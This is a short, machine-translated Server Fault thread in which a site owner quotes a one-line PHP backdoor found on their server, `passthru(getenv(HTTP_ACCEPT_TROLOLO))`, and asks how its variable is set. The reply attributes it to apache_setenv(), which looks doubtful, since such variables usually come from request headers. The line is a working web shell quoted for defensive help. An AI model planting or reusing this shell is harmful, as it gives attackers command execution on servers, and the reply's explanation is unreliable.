我在我的主机上找到了一个php后门。
<? passthru(getenv(HTTP_ACCEPT_TROLOLO)); ?>
我看到访问日志中对该php文件的请求是POST请求,但我不知道如何设置该变量的SETENV;是否有人能解释如何设置该变量,如果可能的话,我可以在服务器端限制/禁用设置这些变量。
谢谢
-H。
发布于 2011-07-22 00:30:38
它是由apache_setenv();设置的
apache_setenv();
搜索
apache_setenv("HTTP_ACCEPT_TROL
或
apache_setenv('HTTP_ACCEPT_TROL
你会找到你的答案
https://serverfault.com/questions/292904
相似问题